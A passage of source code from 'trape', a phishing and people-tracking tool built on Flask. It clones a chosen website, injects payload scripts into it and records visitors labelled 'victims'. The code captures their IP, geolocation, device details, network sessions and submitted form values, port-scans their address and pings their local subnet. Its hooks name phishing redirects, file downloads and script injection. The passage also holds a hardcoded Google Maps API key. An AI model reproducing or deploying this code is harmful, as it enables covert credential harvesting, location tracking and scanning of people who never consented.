"Configuration zone to use the software" + " " + "<" + utils.Color['white']) utils.Go("----------------------------------------------------------") utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |") utils.Go("--------" + "\n") utils.Go(utils.Color['whiteBold'] + "GENERAL CONFIG" + utils.Color['white']) utils.Go("------") utils.Go("Through this section you will configure the resources required \nfor an effective function of trape, please complete the following steps, below. \nKeep in mind that if the data is incorrect this tool will not work." + utils.Color['white']) utils.Go("") utils.Go(utils.Color['whiteBold'] + "NGROK TOKEN" + utils.Color['white']) utils.Go("------") utils.Go("In the next section you must enter your Ngrok token, if you do not have \none register at (" + utils.Color['blueBold'] + "https://ngrok.com" + utils.Color['white'] + "), this data is necessary for the generation of public network tunnels.") utils.Go("") c_nGrokToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['whiteBold'] + "GOOGLE API" + utils.Color['white']) utils.Go("------") utils.Go("You must register with the " + utils.Color['blueBold'] + "Google Console" + utils.Color['white'] + ", and get an API for maps and another for shortening. \nBy having these data you complete the settings") utils.Go("") c_gMapsToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) c_gOoglToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['whiteBold'] + "IP INFO API" + utils.Color['white']) utils.Go("------") utils.Go("You must register with the " + utils.Color['blueBold'] + "https://ipgeolocation.io" + utils.Color['white'] + ", and get an API for geolocation. \nBy having these data you complete the settings") utils.Go("") c_ipinfo = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your IP Info Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Congratulations! " + utils.Color['greenBold'] + "Successful configuration" + utils.Color['white'] + ", now enjoy Trape!" + utils.Color['white']) utils.Go("") time.sleep(0.4) if (c_nGrokToken != '' and c_gMapsToken != ''): v = '{\n\t"ngrok_token" : "' + c_nGrokToken + '",\n\t"gmaps_api_key" : "' + c_gMapsToken + '",\n\t"gshortener_api_key" : "' + c_gOoglToken + '",\n\t"ipinfo_api_key" : "' + c_ipinfo + '"\n}' f = open ('trape.config', 'w') f.write(v) f.close() else: self.trape_config() def injectCSS_Paths(self, code): code = code.replace("[FAVICON_HREF]", self.CSSFiles[0]['src']) code = code.replace("[FAVICON_PNG_HREF]",self.CSSFiles[1]['src']) code = code.replace("[BASE_ICONS_HREF]", self.CSSFiles[2]['src']) code = code.replace("[STYLES_HREF]", self.CSSFiles[3]['src']) code = code.replace("[NORMALIZE_HREF]", self.CSSFiles[4]['src']) code = code.replace("[SERVICES_ICONS_HREF]", self.CSSFiles[5]['src']) return code # Autocompletion of console if "nt" in os.name: pass else: import readline readline.parse_and_bind("tab:complete") readline.set_completer(utils.niceShell) ================================================ FILE: core/user.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- #** # ######### # trape # ######### # # trape depends of this file # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / #** import time from core.dependence import urllib2 from flask import Flask, render_template, session, request, json, Response from core.user_objects import * import core.stats from core.utils import utils from core.db import Database import os import sys import platform import urllib import requests from multiprocessing import Process """ from bs4 import BeautifulSoup from urlparse import urlparse import lxml """ # Main parts, to generate relationships among others trape = core.stats.trape app = core.stats.app # call database db = Database() class victim_server(object): @app.route("/" + trape.victim_path) def homeVictim(): """ clone_html = opener.open(trape.url_to_clone).read() soup = BeautifulSoup(clone_html, 'lxml') parsed_uri = urlparse(trape.url_to_clone) domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri) for s in soup.find_all('script'): url = s.get('src') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) for css in soup.find_all('link'): url = css.get('href') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) for img in soup.find_all('img'): url = img.get('src') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) """ r = requests.get(trape.url_to_clone, headers=victim_headers2(request.user_agent)) if (trape.type_lure == 'local'): html = assignScripts(victim_inject_code(render_template("/" + trape.url_to_clone), 'payload', '/', trape.gmaps, trape.ipinfo)) else: html = assignScripts(victim_inject_code(r.content, 'payload', trape.url_to_clone, trape.gmaps, trape.ipinfo)) return html @app.route("/register", methods=["POST"]) def register(): vId = request.form['vId'] if vId == '': vId = utils.generateToken(5) victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S")) victimGeo = victim_geo(vId, request.form['city'], request.form['country_code2'], request.form['country_name'], request.form['ip'], request.form['latitude'], request.form['longitude'], request.form['isp'], request.form['country_code3'], request.form['state_prov'], '', request.form['zipcode'], request.form['organization'], str(request.user_agent), '') vRA = request.environ['REMOTE_ADDR'] gHA = Process(target=getHostsAlive, args=(vRA, vId,)) gHA.start() utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A " + utils.Color['whiteBold'] + "user" + utils.Color['white'] + " has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white']) cant = int(db.sentences_victim('count_times', vId, 3, 0)) db.sentences_victim('insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) db.sentences_victim('delete_networks', [vId], 2) if cant > 0: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the " + str(cant + 1) + " time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2) db.sentences_victim('update_victim_geo', [victimGeo, vId], 2) else: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the first time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2) db.sentences_victim('insert_victim_data', [vId], 2) db.sentences_victim('insert_victim_battery', [vId], 2) db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2) return json.dumps({'status' : 'OK', 'vId' : vId}) @app.route("/nr", methods=["POST"]) def networkRegister(): vId = request.form['vId'] vIp = request.form['ip'] vnetwork = request.form['red'] if vId == '': vId = utils.generateToken(5) cant = int(db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 0)) if cant > 0: db.sentences_victim('update_network', [vId, vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) else: db.sentences_victim('insert_networks', [vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "+" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + vnetwork + utils.Color['white'] + " session detected from " + utils.Color['blue'] + vIp + utils.Color['white'] + ' ' + "with ID: " + utils.Color['green'] + vId + utils.Color['white']) return json.dumps({'status' : 'OK', 'vId' : vId}) @app.route("/lr", methods=["POST"]) def locationRegister(): vId = request.form['vId'] lat = request.form['lat'] lon = request.form['lon'] db.sentences_victim('location_victim', [vId, lat, lon], 2) return json.dumps({'status' : 'OK', 'vId' : vId}) @app.route("/lc", methods=["POST"]) def connectionRegister(): vId = request.form['vId'] con = request.form['con'] host = request.form['host'] db.sentences_victim('connection_victim', [vId, con, host], 2) return json.dumps({'status' : 'OK', 'vId' : vId}) @app.route("/bs", methods=["POST"]) def batteryStatusRegister(): vId = request.form['id'] b_data = request.form['d'] b_type = request.form['t'] db.sentences_victim('update_battery', [vId, b_data, b_type], 2) return json.dumps({'status' : 'OK', 'vId' : vId}) @app.route("/nm", methods=["POST"]) def navigationMode(): vId = request.form['id'] b_data = request.form['d'] b_data_2 = request.form['dn'] db.sentences_victim('update_navigationmode', [vId, b_data, b_data_2], 2) return json.dumps({'status' : 'OK', 'vId' : vId}) @app.route("/rv") def redirectVictim(): url = request.args.get('url') if url[0:4] != 'http': url = 'http://' + url opener = urllib.request.build_opener() headers = victim_headers(request.user_agent) opener.addheaders = headers html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, trape.gmaps, trape.ipinfo)) return html @app.route("/regv", methods=["POST"]) def registerRequest(): vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], request.form['value'], request.form['sId']) db.sentences_victim('insert_requests', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "=" + utils.Color['white'] + "]" + " " + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color['white'] + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color['white'] + '\t\n' + vrequest.fid + '\t' + vrequest.name + ':\t' + vrequest.value) return json.dumps({'status' : 'OK', 'vId' : vrequest.id}) @app.route("/tping", methods=["POST"]) def receivePiregisterGPUng(): vrequest = request.form['id'] db.sentences_victim('report_online', [vrequest], 2) db.sentences_victim('update_lastping', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) return json.dumps({'status' : 'OK', 'vId' : vrequest}) @app.route("/cIp", methods=["POST"]) def changeLocalIp(): vrequest = request.form['id'] vIp = request.form['ip'] db.sentences_victim('update_localIp', [vrequest, vIp], 2) return json.dumps({'status' : 'OK', 'vId' : vrequest}) @app.route("/gGpu", methods=["POST"]) def setGpuInfo(): vId = request.form['vId'] vData = request.form['data'] db.sentences_victim('update_gpu', [vId, vData], 2) return json.dumps({'status' : 'OK', 'vId' : vId}) def getHostsAlive(ip, vId): hDB = Database() try: hDB.sentences_victim('delete_hostalive', vId, 2) split_ip = ip.split('.') net = split_ip[0] + '.' + split_ip[1] + '.' + split_ip[2] + '.' if ip != '127.0.0.1': if (platform.system()=='Windows'): ping = 'ping -n 1 -w 5' else: ping = 'ping -c 1 -t 3' for sub_net in range(1, 255): address = net + str(sub_net) response = os.popen(ping + ' ' + address) for line in response.readlines(): if ('time=' in line.lower()): lPos = line.find('time=') tmpLine = line[lPos+5:lPos+15] lPos = tmpLine.find('ms') tmpLine = tmpLine[0:lPos+2] hDB.sentences_victim('register_hostalive', [vId, address, tmpLine, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) break else: hDB.sentences_victim('register_hostalive', [vId, 'OWN HOST', 0, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) except ValueError: pass def assignScripts(code): code = code.replace("base.js".encode(), trape.JSFiles[0]['src'].encode()) code = code.replace("libs.min.js".encode(),trape.JSFiles[1]['src'].encode()) code = code.replace("login.js".encode(), trape.JSFiles[2]['src'].encode()) code = code.replace("payload.js".encode(), trape.JSFiles[3]['src'].encode()) code = code.replace("trape.js".encode(), trape.JSFiles[4]['src'].encode()) code = code.replace("vscript.js".encode(), trape.JSFiles[5]['src'].encode()) code = code.replace("custom.js".encode(), trape.JSFiles[6]['src'].encode()) return code ================================================ FILE: core/user_objects.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # ** # ######### # trape # ######### # # trape depends of this file # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / # ** class victim(object): def __init__(self, vId, ip, device, browser, version, ports, cpu, date): self.vId = vId self.ip = ip self.device = device self.browser = browser self.version = version self.ports = ports self.cpu = cpu self.date = date class victim_geo(object): def __init__(self, id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer): self.id = id self.city = city self.country_code = country_code self.country_name = country_name self.ip = ip self.latitude = latitude self.longitude = longitude self.metro_code = metro_code self.region_code = region_code self.region_name = region_name self.time_zone = time_zone self.zip_code = zip_code self.isp = isp self.ua = ua self.refer = refer class victim_request(object): def __init__(self, id, site, fid, name, value, sId): self.id = id self.site = site self.fid = fid self.name = name self.value = value self.sId = sId def victim_headers2(ua): return { "User-Agent": str(ua), "Content-Type": "text/html; charset=utf-8", "Accept": "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8", "Connection": "keep-alive", # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) "DNT": "1", "Keep-Alive": "115", } def victim_headers(ua): return [("User-Agent", ua), ("Content-Type", "text/html; charset=utf-8"), ("Accept", "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8"), ("Connection", "keep-alive"), # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) ("DNT", "1"), ("Keep-Alive", "115") ] def victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM', IpInfoApiKey=''): url_to_clone = str(url_to_clone) html = html.replace('src="'.encode(), str('src="' + url_to_clone + '/').encode()) html = html.replace("src='".encode(), str("src='" + url_to_clone + '/').encode()) html = html.replace(str('src="' + url_to_clone + '/' + 'http').encode(), 'src="http'.encode()) html = html.replace(str("src='" + url_to_clone + '/' + 'http').encode(), "src='http".encode()) html = html.replace("href='".encode(), str("href='" + url_to_clone + '/').encode()) html = html.replace('href="'.encode(), str('href="' + url_to_clone + '/').encode()) html = html.replace(str('href="' + url_to_clone + '/' + 'http').encode(), 'href="http'.encode()) html = html.replace(str("href='" + url_to_clone + '/' + 'http').encode(), "href='http".encode()) html = html.replace( ''.encode(), ''.encode()) html = html.replace(''.encode(), str('').encode()) html = html.replace( ''.encode(), ''.encode()) html = html.replace( ''.encode(), ''.encode()) html = html.replace( ''.encode(), str('').encode()) return html def attacks_hook_message(data): return { 'network': 'Detected network ', 'url': "Open url phishing ", 'redirect': "Redirecting to ", 'alert': "Sending alert ", 'execute': "Downloading file ", 'talk': "Sending voice message ", 'jscode': "Sending Script ", 'jsscript': "Injecting Script " }.get(data, False) ================================================ FILE: core/utils.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- #** # ######### # trape # ######### # # trape depends of this file # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / #** import random import hashlib import threading import sys import os import socket import time import requests, json from colorama import init , Style,Fore import http.client init() class utils: # Functions 1to get is right def __init__(self): pass # Simplification print @staticmethod def Go(string): print(string) # All color for design terminal UI Color = { "cyan": Style.NORMAL+Fore.CYAN, "cyanBold": Style.BRIGHT+Fore.CYAN, "blue": Fore.BLUE, "blueBold": Style.BRIGHT+Fore.BLUE, "red": Style.NORMAL+Fore.RED, "redBold": Style.BRIGHT+Fore.RED, "green": Style.NORMAL+Fore.GREEN, "greenBold": Style.BRIGHT+Fore.GREEN, "white": Style.NORMAL+Fore.WHITE, "whiteBold": Style.BRIGHT+Fore.WHITE, "yellow": Style.NORMAL+Fore.YELLOW, "yellowBold": Style.BRIGHT+Fore.YELLOW } # Text in bold, lines and end. Text = { "underline": Style.NORMAL+Fore.YELLOW, "bold": Style.BRIGHT, "end": Style.NORMAL+Fore.WHITE } # Banner trape @staticmethod def banner(): utils.Go("\033[H\033[J") utils.Go("\t" + utils.Color['redBold'] + " _ ") utils.Go("\t" + utils.Color['redBold'] + "| |_ ____ ____ ____ ____ ") utils.Go("\t" + utils.Color['redBold'] + "| _) / ___) _ | _ \ / _ )") utils.Go("\t" + utils.Color['redBold'] + "| |__| | ( ( | | | | ( (/ / ") utils.Go("\t" + utils.Color['redBold'] + " \___)_| \_||_| ||_/ \____)") utils.Go("\t" + utils.Color['redBold'] + " |_|" + utils.Color['white'] + " 2018 by " + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color['blue'] + "@jofpin" + utils.Color['white'] + ")" + utils.Color['white']) utils.Go("\t" + "-----------------------------------------------") utils.Go(utils.Color['green'] + "\t" + "People tracker on internet for OSINT research " + utils.Color['white'] + "|=-" + utils.Color['white']) utils.Go("\t" + "-----------------------------------------------") utils.Go("\t" + "| " + utils.Color['white'] + "v" + utils.Color['redBold'] + "2.1" + utils.Color['white'] + " |") utils.Go("\t" + "--------" + "\n") # Loader with console cleaning and OS checking @staticmethod def checkOS(): if "posix" in os.name: os.system("clear") pass elif "nt" in os.name: pass #os.system("cls") #utils.Go("Currently there is no support for Windows.") else: pass utils.Go("Loading" + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "...") time.sleep(0.4) # Generates a unique token of up to 30 characters. @staticmethod def generateToken(length=8): chars = list('ABCDEFGHIJKLMNOPQRSTUVWYZabcdefghijklmnopqrstuvwyz01234567890') random.shuffle(chars) chars = ''.join(chars) sha1 = hashlib.sha1(chars.encode('utf8')) token = sha1.hexdigest() return token[:length] # Simple port scan for the victim or user @staticmethod def portScanner(victimIP): clientIP = socket.gethostbyname(victimIP) listPorts = [0, 21, 22, 23, 25, 42, 43, 53, 67, 79, 80, 102, 110, 115, 119, 123, 135, 137, 143, 161, 179, 379, 389, 443, 445, 465, 636, 993, 995, 1026, 1080, 1090, 1433, 1434, 1521, 1677, 1701, 1720, 1723, 1900, 2409, 2082, 2095, 3101, 3306, 3389, 3390, 3535, 4321, 4664, 5190, 5500, 5631, 5632, 5900, 65535, 7070, 7100, 8000, 8080, 8880, 8799, 9100] results = [] for port in listPorts: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.2) result = sock.connect_ex((clientIP, port)) sys.stdout.flush() if result == 0: results.append(str(port)) return ",".join(results) # Local port check to allow trape to run @staticmethod def checkPort(port): try: clientIP = socket.gethostbyname('127.0.0.1') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.1) result = sock.connect_ex((clientIP, port)) sys.stdout.flush() if result == 0: return False else: try: if int(port) > 0 and int(port) < 65535: return True else: return False except Exception as e: return False except Exception as e: return False @staticmethod def checkUrl(url): c = http.client.HTTPConnection(url, timeout=5) try: c.request("HEAD", "/") c.close() return True except Exception as e: c.close() return False # Goo.gl shortener service @staticmethod def gShortener(api_key, p_url): url = "https://www.googleapis.com/urlshortener/v1/url?key=" + api_key payload = '{"longUrl":"' + p_url + '"}' headers = {'content-type': 'application/json'} r = requests.post(url, data=payload, headers=headers) return r # Autocompletion @staticmethod def niceShell(text, state): matches = [i for i in commands if i.startswith(text)] if state < len(matches): return matches[state] else: return None ================================================ FILE: requirements.txt ================================================ Flask Flask-Login Flask-Session flask-socketio flask_socketio flask_cors itsdangerous Jinja2 MarkupSafe python-engineio python-socketio six Werkzeug eventlet requests colorama ================================================ FILE: static/css/base-icons.css ================================================ @font-face{font-family:'boxicons';src:url('../css/fonts/boxicons.eot?szinet');src:url('../css/fonts/boxicons.eot?#iefixszinet') format('embedded-opentype'),url('../css/fonts/boxicons.woff?szinet') format('woff'),url('../css/fonts/boxicons.ttf?szinet') format('truetype'),url('../css/fonts/boxicons.svg?szinet#boxicons') format('svg');font-weight:normal;font-style:normal;}[class^="icon-"],[class*="icon-"]{display:inline-block;speak:none;font-family:"boxicons";font-size:inherit;color:currentColor;fill:currentColor;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;text-rendering:auto;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.icon-add-to-list:before{content:"\e900";}.icon-classic-computer:before{content:"\e901";}.icon-controller-fast-backward:before{content:"\e902";}.icon-creative-commons-attribution:before{content:"\e903";}.icon-creative-commons-noderivs:before{content:"\e904";}.icon-creative-commons-noncommercial-eu:before{content:"\e905";}.icon-creative-commons-noncommercial-us:before{content:"\e906";}.icon-creative-commons-public-domain:before{content:"\e907";}.icon-creative-commons-remix:before{content:"\e908";}.icon-creative-commons-share:before{content:"\e909";}.icon-creative-commons-sharealike:before{content:"\e90a";}.icon-creative-commons2:before{content:"\e90b";}.icon-document-landscape:before{content:"\e90c";}.icon-remove-user:before{content:"\e90d";}.icon-warning2:before{content:"\e90e";}.icon-arrow-bold-down:before{content:"\e90f";}.icon-arrow-bold-left:before{content:"\e910";}.icon-arrow-bold-right:before{content:"\e911";}.icon-arrow-bold-up:before{content:"\e912";}.icon-arrow-down2:before{content:"\e913";}.icon-arrow-left2:before{content:"\e914";}.icon-arrow-long-down:before{content:"\e915";}.icon-arrow-long-left:before{content:"\e916";}.icon-arrow-long-right:before{content:"\e917";}.icon-arrow-long-up:before{content:"\e918";}.icon-arrow-right2:before{content:"\e919";}.icon-arrow-up2:before{content:"\e91a";}.icon-arrow-with-circle-down:before{content:"\e91b";}.icon-arrow-with-circle-left:before{content:"\e91c";}.icon-arrow-with-circle-right:before{content:"\e91d";}.icon-arrow-with-circle-up:before{content:"\e91e";}.icon-bookmark2:before{content:"\e91f";}.icon-bookmarks:before{content:"\e920";}.icon-chevron-down2:before{content:"\e921";}.icon-chevron-left2:before{content:"\e922";}.icon-chevron-right2:before{content:"\e923";}.icon-chevron-small-down:before{content:"\e924";}.icon-chevron-small-left:before{content:"\e925";}.icon-chevron-small-right:before{content:"\e926";}.icon-chevron-small-up:before{content:"\e927";}.icon-chevron-thin-down:before{content:"\e928";}.icon-chevron-thin-left:before{content:"\e929";}.icon-chevron-thin-right:before{content:"\e92a";}.icon-chevron-thin-up:before{content:"\e92b";}.icon-chevron-up2:before{content:"\e92c";}.icon-chevron-with-circle-down:before{content:"\e92d";}.icon-chevron-with-circle-left:before{content:"\e92e";}.icon-chevron-with-circle-right:before{content:"\e92f";}.icon-chevron-with-circle-up:before{content:"\e930";}.icon-cloud2:before{content:"\e931";}.icon-controller-fast-forward:before{content:"\e932";}.icon-controller-jump-to-start:before{content:"\e933";}.icon-controller-next:before{content:"\e934";}.icon-controller-paus:before{content:"\e935";}.icon-controller-play:before{content:"\e936";}.icon-controller-record:before{content:"\e937";}.icon-controller-stop:before{content:"\e938";}.icon-controller-volume:before{content:"\e939";}.icon-dot-single:before{content:"\e93a";}.icon-dots-three-horizontal:before{content:"\e93b";}.icon-dots-three-vertical:before{content:"\e93c";}.icon-dots-two-horizontal:before{content:"\e93d";}.icon-dots-two-vertical:before{content:"\e93e";}.icon-download2:before{content:"\e93f";}.icon-emoji-flirt:before{content:"\e940";}.icon-flow-branch:before{content:"\e941";}.icon-flow-cascade:before{content:"\e942";}.icon-flow-line:before{content:"\e943";}.icon-flow-parallel:before{content:"\e944";}.icon-flow-tree:before{content:"\e945";}.icon-install:before{content:"\e946";}.icon-layers:before{content:"\e947";}.icon-open-book:before{content:"\e948";}.icon-resize-100:before{content:"\e949";}.icon-resize-full-screen:before{content:"\e94a";}.icon-save2:before{content:"\e94b";}.icon-select-arrows:before{content:"\e94c";}.icon-sound-mute:before{content:"\e94d";}.icon-sound:before{content:"\e94e";}.icon-trash2:before{content:"\e94f";}.icon-triangle-down:before{content:"\e950";}.icon-triangle-left:before{content:"\e951";}.icon-triangle-right:before{content:"\e952";}.icon-triangle-up:before{content:"\e953";}.icon-uninstall:before{content:"\e954";}.icon-upload-to-cloud:before{content:"\e955";}.icon-upload2:before{content:"\e956";}.icon-add-user:before{content:"\e957";}.icon-address:before{content:"\e958";}.icon-adjust2:before{content:"\e959";}.icon-air:before{content:"\e95a";}.icon-aircraft-landing:before{content:"\e95b";}.icon-aircraft-take-off:before{content:"\e95c";}.icon-aircraft:before{content:"\e95d";}.icon-align-bottom:before{content:"\e95e";}.icon-align-horizontal-middle:before{content:"\e95f";}.icon-align-left2:before{content:"\e960";}.icon-align-right2:before{content:"\e961";}.icon-align-top:before{content:"\e962";}.icon-align-vertical-middle:before{content:"\e963";}.icon-archive2:before{content:"\e964";}.icon-area-graph:before{content:"\e965";}.icon-attachment:before{content:"\e966";}.icon-awareness-ribbon:before{content:"\e967";}.icon-back-in-time:before{content:"\e968";}.icon-back:before{content:"\e969";}.icon-bar-graph:before{content:"\e96a";}.icon-battery:before{content:"\e96b";}.icon-beamed-note:before{content:"\e96c";}.icon-bell2:before{content:"\e96d";}.icon-blackboard:before{content:"\e96e";}.icon-block:before{content:"\e96f";}.icon-book2:before{content:"\e970";}.icon-bowl:before{content:"\e971";}.icon-box:before{content:"\e972";}.icon-briefcase2:before{content:"\e973";}.icon-browser:before{content:"\e974";}.icon-brush:before{content:"\e975";}.icon-bucket:before{content:"\e976";}.icon-cake:before{content:"\e977";}.icon-calculator2:before{content:"\e978";}.icon-calendar2:before{content:"\e979";}.icon-camera2:before{content:"\e97a";}.icon-ccw:before{content:"\e97b";}.icon-chat:before{content:"\e97c";}.icon-check2:before{content:"\e97d";}.icon-circle-with-cross:before{content:"\e97e";}.icon-circle-with-minus:before{content:"\e97f";}.icon-circle-with-plus:before{content:"\e980";}.icon-circle2:before{content:"\e981";}.icon-circular-graph:before{content:"\e982";}.icon-clapperboard:before{content:"\e983";}.icon-clipboard2:before{content:"\e984";}.icon-clock:before{content:"\e985";}.icon-code2:before{content:"\e986";}.icon-cog2:before{content:"\e987";}.icon-colours:before{content:"\e988";}.icon-compass2:before{content:"\e989";}.icon-copy2:before{content:"\e98a";}.icon-credit-card2:before{content:"\e98b";}.icon-credit:before{content:"\e98c";}.icon-cross:before{content:"\e98d";}.icon-cup:before{content:"\e98e";}.icon-cw:before{content:"\e98f";}.icon-cycle:before{content:"\e990";}.icon-database2:before{content:"\e991";}.icon-dial-pad:before{content:"\e992";}.icon-direction:before{content:"\e993";}.icon-document:before{content:"\e994";}.icon-documents:before{content:"\e995";}.icon-drink:before{content:"\e996";}.icon-drive:before{content:"\e997";}.icon-drop:before{content:"\e998";}.icon-edit2:before{content:"\e999";}.icon-email:before{content:"\e99a";}.icon-emoji-happy:before{content:"\e99b";}.icon-emoji-neutral:before{content:"\e99c";}.icon-emoji-sad:before{content:"\e99d";}.icon-erase:before{content:"\e99e";}.icon-eraser2:before{content:"\e99f";}.icon-export:before{content:"\e9a0";}.icon-eye2:before{content:"\e9a1";}.icon-feather:before{content:"\e9a2";}.icon-flag2:before{content:"\e9a3";}.icon-flash2:before{content:"\e9a4";}.icon-flashlight:before{content:"\e9a5";}.icon-flat-brush:before{content:"\e9a6";}.icon-folder-images:before{content:"\e9a7";}.icon-folder-music:before{content:"\e9a8";}.icon-folder-video:before{content:"\e9a9";}.icon-folder2:before{content:"\e9aa";}.icon-forward2:before{content:"\e9ab";}.icon-funnel:before{content:"\e9ac";}.icon-game-controller:before{content:"\e9ad";}.icon-gauge:before{content:"\e9ae";}.icon-globe2:before{content:"\e9af";}.icon-graduation-cap2:before{content:"\e9b0";}.icon-grid:before{content:"\e9b1";}.icon-hair-cross:before{content:"\e9b2";}.icon-hand:before{content:"\e9b3";}.icon-heart-outlined:before{content:"\e9b4";}.icon-heart2:before{content:"\e9b5";}.icon-help-with-circle:before{content:"\e9b6";}.icon-help:before{content:"\e9b7";}.icon-home2:before{content:"\e9b8";}.icon-hour-glass:before{content:"\e9b9";}.icon-image-inverted:before{content:"\e9ba";}.icon-image2:before{content:"\e9bb";}.icon-images:before{content:"\e9bc";}.icon-inbox2:before{content:"\e9bd";}.icon-infinity:before{content:"\e9be";}.icon-info-with-circle:before{content:"\e9bf";}.icon-info2:before{content:"\e9c0";}.icon-key2:before{content:"\e9c1";}.icon-keyboard:before{content:"\e9c2";}.icon-lab-flask:before{content:"\e9c3";}.icon-landline:before{content:"\e9c4";}.icon-language2:before{content:"\e9c5";}.icon-laptop2:before{content:"\e9c6";}.icon-leaf2:before{content:"\e9c7";}.icon-level-down2:before{content:"\e9c8";}.icon-level-up2:before{content:"\e9c9";}.icon-lifebuoy:before{content:"\e9ca";}.icon-light-bulb:before{content:"\e9cb";}.icon-light-down:before{content:"\e9cc";}.icon-light-up:before{content:"\e9cd";}.icon-line-graph:before{content:"\e9ce";}.icon-link2:before{content:"\e9cf";}.icon-list2:before{content:"\e9d0";}.icon-location-pin:before{content:"\e9d1";}.icon-location:before{content:"\e9d2";}.icon-lock-open:before{content:"\e9d3";}.icon-lock2:before{content:"\e9d4";}.icon-log-out:before{content:"\e9d5";}.icon-login:before{content:"\e9d6";}.icon-loop:before{content:"\e9d7";}.icon-magnet2:before{content:"\e9d8";}.icon-magnifying-glass:before{content:"\e9d9";}.icon-mail:before{content:"\e9da";}.icon-man:before{content:"\e9db";}.icon-map2:before{content:"\e9dc";}.icon-mask:before{content:"\e9dd";}.icon-medal:before{content:"\e9de";}.icon-megaphone:before{content:"\e9df";}.icon-menu:before{content:"\e9e0";}.icon-message:before{content:"\e9e1";}.icon-mic:before{content:"\e9e2";}.icon-minus2:before{content:"\e9e3";}.icon-mobile2:before{content:"\e9e4";}.icon-modern-mic:before{content:"\e9e5";}.icon-moon:before{content:"\e9e6";}.icon-mouse:before{content:"\e9e7";}.icon-music2:before{content:"\e9e8";}.icon-network:before{content:"\e9e9";}.icon-new-message:before{content:"\e9ea";}.icon-new:before{content:"\e9eb";}.icon-news:before{content:"\e9ec";}.icon-note:before{content:"\e9ed";}.icon-notification:before{content:"\e9ee";}.icon-old-mobile:before{content:"\e9ef";}.icon-old-phone:before{content:"\e9f0";}.icon-palette:before{content:"\e9f1";}.icon-paper-plane2:before{content:"\e9f2";}.icon-pencil2:before{content:"\e9f3";}.icon-phone2:before{content:"\e9f4";}.icon-pie-chart2:before{content:"\e9f5";}.icon-pin:before{content:"\e9f